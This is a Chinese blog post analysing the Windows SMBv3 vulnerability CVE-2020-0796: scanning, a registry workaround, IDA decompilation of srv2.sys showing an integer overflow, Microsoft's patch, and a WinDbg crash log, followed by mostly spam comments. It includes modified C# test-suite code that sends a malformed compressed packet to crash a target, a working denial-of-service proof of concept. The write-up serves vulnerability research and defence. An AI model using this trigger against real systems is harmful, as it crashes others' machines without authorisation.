1、验证

下载CVE-2020-0796扫描器,对Windows 10系统进行扫描

python3 cve-2020-0796-scanner.py -t 192.168.169.107

默认状态下,检测结果

 2、修复

打开powershell,设置注册表信息

 Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force

3、复测

再次扫描,发现漏洞已经无法检测出来

 当将DisableCompression值设置为0,再次检测,仍可检测出漏洞。

4、分析

根据ADV-200005 安全通告,我们可以得到如下信息,例如影响版本等

Description
================
Microsoft is aware of a remote code execution vulnerability in the way that the Microsoft Server Message Block 3.1.1 (SMBv3) protocol handles certain requests. An attacker who successfully exploited the vulnerability could gain the ability to execute code on the target SMB Server or SMB Client.

Security Updates
================
Windows 10 Version 1903 for 32-bit Systems                  Remote Code Execution   Critical    
Windows 10 Version 1903 for ARM64-based Systems             Remote Code Execution   Critical    
Windows 10 Version 1903 for x64-based Systems               Remote Code Execution   Critical    
Windows 10 Version 1909 for 32-bit Systems                  Remote Code Execution   Critical    
Windows 10 Version 1909 for ARM64-based Systems             Remote Code Execution   Critical    
Windows 10 Version 1909 for x64-based Systems               Remote Code Execution   Critical    
Windows Server, version 1903 (Server Core installation)     Remote Code Execution   Critical    
Windows Server, version 1909 (Server Core installation)     Remote Code Execution   Critical

Workarounds
================

Disable SMBv3 compression
*************************

You can disable compression to block unauthenticated attackers from exploiting the vulnerability against an SMBv3 Server with the PowerShell command below.

    Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" DisableCompression -Type DWORD -Value 1 -Force

根据该文章,可以得到3个信息。

  1. 该漏洞只影响 SMB v3.1.1,是SMB最新的协议,可能存在某些功能没有经过测试
  2. 只影响 1903和1909,这意味着 windows server 2019(177630) LTSC 版本不受影响
  3. 建议关闭smb 压缩功能

首先我们要知道smb服务的二进制文件在哪个位置。

一般在C:\Windows\System32\drivers\srv2.sys,这是从学习分析wanncry学到的经验。

其次,我们要从特定版本的windows上获取srv2.sys。搭建虚拟机复制拷贝即可

srv2.sys 静态分析

将 srv2.sys加载到ida中,根据安全通告,与compress有关,所以我们主要查找与compression有关的函数名称。

  • Srv2DecompressMessageAsync
  • Srv2DecompressData
  • Smb2GetHonorCompressionAlgOrder
  • Smb2SelectCompressionAlgorithm
  • Smb2ValidateCompressionCapabilities

Srv2DecompressMessageAsync和Srv2DecompressData这两个函数可能存在问题,该函数的同步版本函数比异步版本函数更易分析,我们来主要分析一下srv2!Srv2DecompressData函数

__int64 __fastcall Srv2DecompressData(__int64 a1)
{
  __int64 v1; // rdi
  __int64 v2; // rax
  __m128i v3; // xmm0
  __m128i v4; // xmm0
  unsigned int v5; // ebp
  __int64 v7; // rax
  __int64 v8; // rbx
  int v9; // eax
  __m128i MaxCount; // [rsp+30h] [rbp-28h]
  int v11; // [rsp+60h] [rbp+8h]

  v11 = 0;
  v1 = a1;
  v2 = *(_QWORD *)(a1 + 240);
  if ( *(_DWORD *)(v2 + 36) < 0x10u )
    return 0xC000009B;
  v3 = *(__m128i *)*(_QWORD *)(v2 + 24);
  MaxCount = v3;
  v4 = _mm_srli_si128(v3, 8);
  v5 = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(a1 + 80) + 496i64) + 140i64);
  if ( v5 != v4.m128i_u16[0] )
    return 0xC00000BB;
  v7 = SrvNetAllocateBuffer((unsigned int)(MaxCount.m128i_i32[1] + v4.m128i_i32[1]), 0i64);
  v8 = v7;
  if ( !v7 )
    return 0xC000009A;
  if ( (int)SmbCompressionDecompress(
              v5,
              *(_QWORD *)(*(_QWORD *)(v1 + 240) + 24i64) + MaxCount.m128i_u32[3] + 16i64,
              (unsigned int)(*(_DWORD *)(*(_QWORD *)(v1 + 240) + 36i64) - MaxCount.m128i_i32[3] - 16),
              MaxCount.m128i_u32[3] + *(_QWORD *)(v7 + 24),
              MaxCount.m128i_i32[1],
              &v11) < 0
    || (v9 = v11, v11 != MaxCount.m128i_i32[1]) )
  {
    SrvNetFreeBuffer(v8);
    return 0xC000090B;
  }
  if ( MaxCount.m128i_i32[3] )
  {
    memmove(
      *(void **)(v8 + 24),
      (const void *)(*(_QWORD *)(*(_QWORD *)(v1 + 240) + 24i64) + 16i64),
      MaxCount.m128i_u32[3]);
    v9 = v11;
  }
  *(_DWORD *)(v8 + 36) = MaxCount.m128i_i32[3] + v9;
  Srv2ReplaceReceiveBuffer(v1, v8);
  return 0i64;
}

这是用IDA反编译到C的结果。很难分析,但是可以注意到两个点子

  1. 函数体非常小,与“bug”描述相一致
  2. 函数只做三件简单的事,申请buffer,解压属于并拷贝到buffer

如果我们想确定该函数是不是存在漏洞的函数,我们需要更多信息,al 寄存器代表什么,攻击者还可以控制哪些字段???以下是三份关于smb协议的参考资料

  1. DevDays Redmond 2019, where they present an overview of “compressed” SMB packets: https://interopevents.blob.core.windows.net/uploads/PDFs/2019/Redmond/Talpey-SMB3doc-19H1-DevDays%20Redmond%202019.pdf
  2. [MS-SMBv2] the open specification documenting the SMB v2/3 protocol: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/5606ad47-5ee0-437a-817e-70c366052962
  3. Public patches from Microsoft engineers in the open-source CIFS project, e.g.: https://patchwork.kernel.org/patch/11014449/

根据公开材料,可以了解更多关于smb的包结构。根据这些信息,重新命名一下函数中的相关变量

__int64 __fastcall Srv2DecompressData(__int64 _smb_packet)
{
  __int64 smb_packet; // rdi
  __int64 _header; // rax
  SMB_V2_COMPRESSION_TRANSFORM_HEADER v3; // xmm0
  AAA smb_header_compress; // xmm0_8
  unsigned int CompressionAlgorithm; // ebp
  __int64 __alloc_buffer; // rax
  __int64 __allocated_buffer; // rbx
  int PayloadSize; // eax
  SMB_V2_COMPRESSION_TRANSFORM_HEADER Header; // [rsp+30h] [rbp-28h]
  int UncompressedSize; // [rsp+60h] [rbp+8h]

  UncompressedSize = 0;
  smb_packet = _smb_packet;
  _header = *(_QWORD *)(_smb_packet + 0xF0);

  // Basic size checks
  if ( *(_DWORD *)(_header + 0x24) < sizeof(SMB_V2_COMPRESSION_TRANSFORM_HEADER) )
    return 0xC000090Bi64;

  v3 = *(SMB_V2_COMPRESSION_TRANSFORM_HEADER *)*(_QWORD *)(_header + 0x18);
  Header = v3;

  // Check the compression algo used is the same one as the one negotiated during NEGOTIATE_PACKET sequence
  *(__m128i *)&smb_header_compress.Algo = _mm_srli_si128(
                                            (__m128i)v3,
                                            offsetof(SMB_V2_COMPRESSION_TRANSFORM_HEADER, CompressionAlgorithm));
  CompressionAlgorithm = *(_DWORD *)(*(_QWORD *)(*(_QWORD *)(_smb_packet + 80) + 496i64) + 140i64);
  if ( CompressionAlgorithm != (unsigned __int16)smb_header_compress.Algo )
    return 0xC00000BBi64;

  // Nani ?? oO
  __alloc_buffer = SrvNetAllocateBuffer(
        (unsigned int)(
            Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength),
        0i64
  );

  __allocated_buffer = __alloc_buffer;
  if ( !__alloc_buffer )
    return 0xC000009Ai64;

  // Decompress data in newly allocated buffer and check the uncompressed size is equal to the one filled out in Header.OriginalCompressedSegmentSize
  if ( (int)SmbCompressionDecompress(
              CompressionAlgorithm,
              (BYTE *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + (unsigned int)Header.OffsetOrLength
                                                                          + 0x10i64),
              *(_DWORD *)(*(_QWORD *)(smb_packet + 240) + 36i64) - Header.OffsetOrLength - 0x10,
              (BYTE *)((unsigned int)Header.OffsetOrLength + *(_QWORD *)(__alloc_buffer + 0x18)),
              Header.OriginalCompressedSegmentSize,
              &UncompressedSize) < 0
    || (PayloadSize = UncompressedSize, UncompressedSize != Header.OriginalCompressedSegmentSize) )
  {
    SrvNetFreeBuffer(__allocated_buffer);
    return 0xC000090Bi64;
  }

  // Copy optional payload
  if ( Header.OffsetOrLength )
  {
    memmove(
      *(void **)(__allocated_buffer + 0x18),
      (const void *)(*(_QWORD *)(*(_QWORD *)(smb_packet + 240) + 24i64) + 0x10i64),
      (unsigned int)Header.OffsetOrLength);
    PayloadSize = UncompressedSize;
  }


  *(_DWORD *)(__allocated_buffer + 36) = Header.OffsetOrLength + PayloadSize;
  Srv2ReplaceReceiveBuffer(smb_packet, __allocated_buffer);
  return 0i64;
}

现在我们很容易就能看到存在漏洞的地方。

__alloc_buffer = SrvNetAllocateBuffer(
  (unsigned int)(Header.OriginalCompressedSegmentSize + smb_header_compress.OffsetOrLength),
  0i64
);

攻击者可以控制OriginalCompressedSegmentSizeOffsetOrLength这两个参数。OriginalCompressedSegmentSize 用来描述压缩前的数据大小,OffsetOrLength用来描述压缩数据的长度或者片偏移,主要取决于是否设置flags变量,详情见图

OriginalCompressedSegmentSizeOffsetOrLength都为32位int类型数字,并且srv2!Srv2DecompressData用上述两个字段来控制分配内存空间。下面是反汇编

00000001C0017EB2  movq    rcx, xmm0
...
00000001C0017EC8  mov     rax, qword ptr [rsp+58h+Header.ProtocolId]
00000001C0017ECD  xor     edx, edx
00000001C0017ECF  shr     rax, 20h ;  OriginalCompressedSegmentSize
00000001C0017ED3  shr     rcx, 20h ;  OffsetOrLength
00000001C0017ED7  add     ecx, eax
00000001C0017ED9  call    cs:__imp_SrvNetAllocateBuffer

我们很容易可以发现,其中存在integer整数溢出。下面动态分析来触发漏洞

动态分析

为了检验我们的假设是否正确,我们需要两件事:

  • 存在漏洞的服务器,这很容易设置,只需在系统上安装Windows 10 1903 或者 1909 Windows即可!
  • 实现SMB v3.1.1压缩功能的SMB客户端,这实际上实现起来困难得多。

Samba/CIFS 官方声明说,由于它们未实现压缩功能,因此它们不受此漏洞的影响,并且通常第三方smb客户端例如,pysmbclient和impacket’s smbclient均不支持压缩功能。我设法找到了功能完整的SMB客户端实现:https : //github.com/microsoft/WindowsProtocolTestSuites/

该代码库完全使用C# 编写,并由Microsoft用于测试协议一致性(因此,其功能涵盖面非常完整),是一个很合适我们测试POC的环境。老实说,该项目是Windows安全研究人员的宝库,项目中包括 SMB server/client, RDP server/client, Kerberos server, SMBD server等的完整实现。

尽管代码编写的很好,但是创建的包并不能触发漏洞,所以我们要修改一下代码来触发我们的漏洞

// .\WindowsProtocolTestSuites\ProtoSDK\MS-SMB2\Common\Smb2Compression.cs
namespace Microsoft.Protocols.TestTools.StackSdk.FileAccessService.Smb2.Common
{
  /// <summary>
    /// SMB2 Compression Utility.
    /// </summary>
    public static class Smb2Compression
    {
    private static uint i = 0;

    /// <summary>
    /// Compress SMB2 packet.
    /// </summary>
    /// <param name="packet">The SMB2 packet.</param>
    /// <param name="compressionInfo">Compression info.</param>
    /// <param name="role">SMB2 role.</param>
    /// <param name="offset">The offset where compression start, default zero.</param>
    /// <returns></returns>
    public static Smb2Packet Compress(Smb2CompressiblePacket packet, Smb2CompressionInfo compressionInfo, Smb2Role role, uint offset = 0)
    {
        var compressionAlgorithm = GetCompressionAlgorithm(packet, compressionInfo, role);

        /*if (compressionAlgorithm == CompressionAlgorithm.NONE)
        {
            return packet;
        }*/

        // HACK: shitty counter to force Smb2Compression to not compress the first three packets (NEGOTIATE + SSPI login)
        if (i < 3)
        {
            i++;
            return packet;
        }

        var packetBytes = packet.ToBytes();

        var compressor = GetCompressor(compressionAlgorithm);

        // HACK: Insane length to trigger the integrer overflow
        offset = 0xffffffff;

        var compressedPacket = new Smb2CompressedPacket();
        compressedPacket.Header.ProtocolId = Smb2Consts.ProtocolIdInCompressionTransformHeader;
        compressedPacket.Header.OriginalCompressedSegmentSize = (uint)packetBytes.Length;
        compressedPacket.Header.CompressionAlgorithm = compressionAlgorithm;
        compressedPacket.Header.Reserved = 0;
        compressedPacket.Header.Offset = offset;
        compressedPacket.UncompressedData = packetBytes.Take((int)offset).ToArray();
        compressedPacket.CompressedData = compressor.Compress(packetBytes.Skip((int)offset).ToArray());

        var compressedPackectBytes = compressedPacket.ToBytes();

        // HACK: force compressed packet to be sent
        return compressedPacket;

        // Check whether compression shrinks the on-wire packet size
        // if (compressedPackectBytes.Length < packetBytes.Length)
        // {
        //     compressedPacket.OriginalPacket = packet;
        //     return compressedPacket;
        // }
        // else
        // {
        //     return packet;
        // }
    }
  }
}

namespace Microsoft.Protocols.TestManager.BranchCachePlugin
{
  class Program
  {
    static void TriggerCrash(BranchCacheDetector bcd, DetectionInfo info)
    {
      Smb2Client client = new Smb2Client(new TimeSpan(0, 0, defaultTimeoutInSeconds));
      client.CompressionInfo.CompressionIds = new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 };

      // NEGOTIATION is done in "plaintext", this is the call within UserLogon:
      //      client.Negotiate(
      //          0,
      //          1,
      //          Packet_Header_Flags_Values.NONE,
      //          messageId++,
      //          new DialectRevision[] { DialectRevision.Smb311 },
      //          SecurityMode_Values.NEGOTIATE_SIGNING_ENABLED,
      //          Capabilities_Values.NONE, 
      //          clientGuid,
      //          out selectedDialect,
      //          out gssToken,
      //          out header,
      //          out negotiateResp,
      //          preauthHashAlgs: new PreauthIntegrityHashID[] { PreauthIntegrityHashID.SHA_512 },  // apprently mandatory for compression
      //          compressionAlgorithms: new CompressionAlgorithm[] { CompressionAlgorithm.LZ77 }
      //      );
      if (!bcd.UserLogon(info, client, out messageId, out sessionId, out clientGuid, out negotiateResp))
        return;

      // From now on, we compress every new packet
      client.CompressionInfo.CompressAllPackets = true;

      // Get tree information about a remote share (which does not exists)
      TREE_CONNECT_Response treeConnectResp;
      string uncSharePath = Smb2Utility.GetUncPath(info.ContentServerName, defaultShare);

      // trigger crash here
      client.TreeConnect(
          1,
          1,
          Packet_Header_Flags_Values.FLAGS_SIGNED,
          messageId++,
          sessionId,
          uncSharePath,
          out treeId,
          out header,
          out treeConnectResp
      );
    }

    static void Main(string[] args)
    {
        Console.WriteLine("Hello World!");

        Logger logger = new Logger();
        AccountCredential accountCredential = new AccountCredential("", "Ghost", "Ghost");

        BranchCacheDetector bcd = new BranchCacheDetector(
            logger,
            "DESKTOP-SMBVULN",
            "DESKTOP-SMBVULN",
            accountCredential
            );

        DetectionInfo info = new DetectionInfo();
        info.SelectedTransport = "SMB2";
        info.ContentServerName = "DESKTOP-SMBVULN";

        info.UserName = "Ghost";
        info.Password = "Ghost";

        TriggerCrash(bcd,info);

        Console.WriteLine("Goodbye World!");
    }
  }
}

我们通过Smb2Compression.cs去向smb服务器发送看起来畸形数据包,看来我们触发了漏洞

以下为windbg结果

Breakpoint 3 hit
srv2!Srv2DecompressData+0x6f:
fffff800`50ad7ecf 48c1e820        shr     rax,20h
kd> p
srv2!Srv2DecompressData+0x73:
fffff800`50ad7ed3 48c1e920        shr     rcx,20h
kd> 
srv2!Srv2DecompressData+0x77:
fffff800`50ad7ed7 03c8            add     ecx,eax
kd> r eax
eax=7e
kd> r ecx
ecx=ffffffff
kd> p
srv2!Srv2DecompressData+0x79:
fffff800`50ad7ed9 4c8b15489a0200  mov     r10,qword ptr [srv2!_imp_SrvNetAllocateBuffer (fffff800`50b01928)]
kd> r ecx
ecx=7d
kd> p
srv2!Srv2DecompressData+0x80:
fffff800`50ad7ee0 e8fbe29704      call    srvnet!SrvNetAllocateBuffer (fffff800`554561e0)
kd> p
srv2!Srv2DecompressData+0x85:
fffff800`50ad7ee5 488bd8          mov     rbx,rax
kd> g
KDTARGET: Refreshing KD connection

*** Fatal System Error: 0x00000050
                       (0xFFFF8483C09E7E2F,0x0000000000000000,0xFFFFF80051A0E750,0x0000000000000002)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

For analysis of this file, run !analyze -v
nt!DbgBreakPointWithStatus:
fffff800`51a79580 cc              int     3
kd> !analyze -v
Connected to Windows 10 18362 x64 target at (Wed Mar 11 18:06:55.585 2020 (UTC + 1:00)), ptr64 TRUE
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffff8483c09e7e2f, memory referenced.
Arg2: 0000000000000000, value 0 = read operation, 1 = write operation.
Arg3: fffff80051a0e750, If non-zero, the instruction address which referenced the bad memory
  address.
Arg4: 0000000000000002, (reserved)

Debugging Details:
------------------

READ_ADDRESS:  ffff8483c09e7e2f Nonpaged pool

TRAP_FRAME:  fffff105d6992c00 -- (.trap 0xfffff105d6992c00)
NOTE: The trap frame does not contain all registers.
Some register values may be zeroed or incorrect.
rax=fffff80051a0e700 rbx=0000000000000000 rcx=ffff8483bccd204f
rdx=ffff8483bccd204f rsi=0000000000000000 rdi=0000000000000000
rip=fffff80051a0e750 rsp=fffff105d6992d98 rbp=ffff8483bccd204f
 r8=ffff8483c09e7e2f  r9=0000000000000078 r10=ffff8483bccd1f6d
r11=ffff8483c09e7ea7 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
nt!RtlDecompressBufferXpressLz+0x50:
fffff800`51a0e750 418b08          mov     ecx,dword ptr [r8] ds:ffff8483`c09e7e2f=????????
Resetting default scope

STACK_TEXT:  
fffff105`d69921b8 fffff800`51b5b492 : nt!DbgBreakPointWithStatus
fffff105`d69921c0 fffff800`51b5ab82 : nt!KiBugCheckDebugBreak+0x12
fffff105`d6992220 fffff800`51a71917 : nt!KeBugCheck2+0x952
fffff105`d6992920 fffff800`51ab5b0a : nt!KeBugCheckEx+0x107
fffff105`d6992960 fffff800`5197e1df : nt!MiSystemFault+0x18fafa
fffff105`d6992a60 fffff800`51a7f69a : nt!MmAccessFault+0x34f
fffff105`d6992c00 fffff800`51a0e750 : nt!KiPageFault+0x35a
fffff105`d6992d98 fffff800`5191c666 : nt!RtlDecompressBufferXpressLz+0x50
fffff105`d6992db0 fffff800`5546e0bd : nt!RtlDecompressBufferEx2+0x66
fffff105`d6992e00 fffff800`50ad7f41 : srvnet!SmbCompressionDecompress+0xdd
fffff105`d6992e70 fffff800`50ad699e : srv2!Srv2DecompressData+0xe1
fffff105`d6992ed0 fffff800`50b19a7f : srv2!Srv2DecompressMessageAsync+0x1e
fffff105`d6992f00 fffff800`51a7504e : srv2!RfspThreadPoolNodeWorkerProcessWorkItems+0x13f
fffff105`d6992f80 fffff800`51a7500c : nt!KxSwitchKernelStackCallout+0x2e
fffff105`d52cf8f0 fffff800`5197545e : nt!KiSwitchKernelStackContinue
fffff105`d52cf910 fffff800`5197525c : nt!KiExpandKernelStackAndCalloutOnStackSegment+0x18e
fffff105`d52cf9b0 fffff800`519750d3 : nt!KiExpandKernelStackAndCalloutSwitchStack+0xdc
fffff105`d52cfa20 fffff800`5197508d : nt!KeExpandKernelStackAndCalloutInternal+0x33
fffff105`d52cfa90 fffff800`50b197d7 : nt!KeExpandKernelStackAndCalloutEx+0x1d
fffff105`d52cfad0 fffff800`51fc54a7 : srv2!RfspThreadPoolNodeWorkerRun+0x117
fffff105`d52cfb30 fffff800`519e5925 : nt!IopThreadStart+0x37
fffff105`d52cfb90 fffff800`51a78d5a : nt!PspSystemThreadStartup+0x55
fffff105`d52cfbe0 00000000`00000000 : nt!KiStartSystemThread+0x2a

补丁

微软的补丁就是在Srv2DecompressData里面对上述两个Length做了检查.

__int64 __fastcall Srv2DecompressData(__int64 a1)
{
      //
      //添加了对Header中Length的检查
      //
      if ( RtlULongAdd(Header.OriginalCompressedSegmentSize, Header2.Length, &pulResult) < 0 )
      {
          ...
      }
      if ( pulResult > (unsigned __int64)(unsigned int)(*(_DWORD *)(v9 + 0x24) + 0x100) + 0x34 )
     {
         ...
     }
      if ( RtlULongSub(pulResult, Header.Length, &pulResult) < 0 )
     {
         ...
     }
}

结论

总体来看,CVE-2020-0796是一个很容易发现的漏洞。但是完美利用利用它确实另外一回事:这是一个在windows 10 KASLR 保护机制下需要远程攻击的kernel exploit。最好的办法就是完全禁用这个功能。

分类: CVE

天渊应龙圣神大帝-道锋潜鳞

天渊应龙圣神大帝-道锋潜鳞

以凡人之躯,承载天之道义

109 条评论

头像

lrq · 2020年3月14日 上午11:56

很好很好,不错不错不错,很好很好,不错不错?

头像

myinforms · 2020年3月31日 下午11:28

I was curious if you ever thought of changing the structure of your blog? Its very well written; I love what youve got to say. But maybe you could a little more in the way of content so people could connect with it better. Youve got an awful lot of text for only having one or two images. Maybe you could space it out better?|

头像

CBD Oil UK · 2020年4月1日 下午2:35

excellent submit, very informative. I ponder why the opposite specialists of this sector don’t realize this. You should continue your writing. I’m confident, you’ve a great readers’ base already!|

头像

https://myinforms.com/ · 2020年4月2日 下午6:41

hello!,I like your writing very much! percentage we communicate more about your article on AOL? I require a specialist on this area to resolve my problem. May be that’s you! Having a look ahead to peer you. |

    garuda0926@foxmail.com

    garuda0926@foxmail.com · 2020年4月2日 下午6:46

    I’m sorry, I may not be able to do it, at present still study in school.And I didn’t use AOL. either.??I But thank you for your support, thank you.Maybe we can communicate on the mailbox, haha.?

头像

click here · 2020年4月2日 下午10:56

Aw, this was a very nice post. Finding the time and actual effort to make a great article… but what can I say… I put things off a lot and don’t manage to get nearly anything done.|

    garuda0926@foxmail.com

    garuda0926@foxmail.com · 2020年4月2日 下午11:04

    Thank you for reading and rating. But it’s okay, you can certainly make progress. Finally, I wish you a happy life and good health during the epidemic.

头像

cbd gummies · 2020年4月3日 上午9:54

amazing artile

头像

cbd oil near me · 2020年4月3日 上午11:43

It’s really very difficult in this active life to listen news on Television, so I simply use world wide web for that reason, and get the most recent news.|

头像

CBD oil · 2020年4月4日 上午2:12

always i used to read smaller posts that also clear their motive, and that is also happening with this piece of writing which I am reading now.|

头像

cbd oil · 2020年4月4日 上午10:41

Thanks you very much

头像

cbd gummies · 2020年4月5日 上午3:32

excellent

头像

la weekly cbd gummies · 2020年4月5日 下午8:13

excellent

头像

best motivational speaker in pakistan · 2020年4月7日 下午6:35

Hi there, yes this paragraph is genuinely good and I have learned lot
of things from it about blogging. thanks.

头像

here · 2020年4月7日 下午7:11

You could certainly see your enthusiasm in the article you write. The world hopes for even more passionate writers like you who aren’t afraid to mention how they believe. At all times go after your heart.|

头像

sex video · 2020年4月8日 上午10:03

Wonderful work! This is the type of info that are meant to be shared around the web. Shame on Google for now not positioning this submit upper! Come on over and discuss with my web site . Thank you =)|

头像

buy cbd oil uk · 2020年4月9日 下午4:17

Inspiring quest there. What occurred after? Thanks!|

头像

play poker online · 2020年4月10日 下午12:11

Amazing Article

头像

la weekly · 2020年4月10日 下午10:23

What’s Happening i’m new to this, I stumbled upon this I’ve discovered It absolutely helpful and it has aided me out loads. I am hoping to contribute & help different customers like its aided me. Great job.|

头像

Hacling tool · 2020年4月11日 上午12:53

Hi, i think that i saw you visited my web site thus i came to “return the favor”.I’m trying to find things to enhance my web site!I suppose its ok to use a few of your ideas!!|

    白衣龙帝

    白衣龙帝 · 2020年4月11日 上午11:19

    Please help, remember to add the reprinted source site

头像

cbd oil for humans · 2020年4月12日 上午8:00

i like your blog

头像

cbd oil · 2020年4月12日 下午5:59

Hi there, I discovered your blog by the use of Google whilst looking for a similar matter, your website came up, it seems to be good. I have bookmarked it in my google bookmarks.

    白衣龙帝

    白衣龙帝 · 2020年4月12日 下午6:07

    Thank you for your attention, I will continue to improve

头像

hemp extract · 2020年4月13日 下午4:14

Thank you

头像

hemp cbd oil · 2020年4月14日 上午1:18

i like your blog

头像

cbd oil for inflammation · 2020年4月14日 上午3:37

Good day! This is kind of off topic but I need some help from an established blog. Is it very difficult to set up your own blog? I’m not very techincal but I can figure things out pretty fast. I’m thinking about creating my own but I’m not sure where to start. Do you have any tips or suggestions? Many thanks|

    白衣龙帝

    白衣龙帝 · 2020年4月14日 上午7:04

    I think you should probably know something about web technology. you may need to prepare a server or virtual host, a domain name, and a set of source code for blogs. This is not very difficult, but there may be some technical content. Good luck!

头像

e-vouchera usd perfect money® · 2020年4月15日 下午2:26

Thank you for another informative website. The place else could I am getting that kind of information written in such an ideal approach? I have a mission that I am just now working on, and I’ve been on the look out for such information.|

    白衣龙帝

    白衣龙帝 · 2020年4月15日 下午2:29

    Thank you for your support, I think Freebuf, make up the sky, loophole box, i Chunqiu and so on are a good choice, if you want, you can go to the dark web search to see, haha: D

头像

CBD Oil · 2020年4月15日 下午8:45

informative article

头像

cbd oil for sale · 2020年4月16日 上午2:33

nice article

头像

Best Ready Mix Concrete in Sri Lanka · 2020年4月16日 上午11:55

very informative article

头像

Intensive Driving Courses · 2020年4月17日 上午12:20

Hi! I just wanted to ask if you ever have any problems with hackers? My last blog (wordpress) was hacked and I ended up losing months of hard work due to no back up. Do you have any methods to stop hackers?|

    白衣龙帝

    白衣龙帝 · 2020年4月17日 上午12:42

    I think you can install some security software on the server. I strongly recommend yunsuo security software. Its functions, including waf, are very good. ) Perhaps you can also try to deploy relevant waf services on cdn, but more importantly, perhaps you should have good site usage habits, for example, do not add unknown plug-ins or templates, do not abuse permissions, even if updating the version of the system, etc.And the site is often scanned by trojan horse or webshell

头像

seks porno · 2020年4月18日 上午12:47

very informative article

头像

Situs Slot Online Android · 2020年4月18日 上午6:24

amazing article

头像

slot game terpercaya · 2020年4月18日 上午10:37

amazing article

头像

Agen Bola Terpercaya · 2020年4月19日 上午5:13

Thank you very much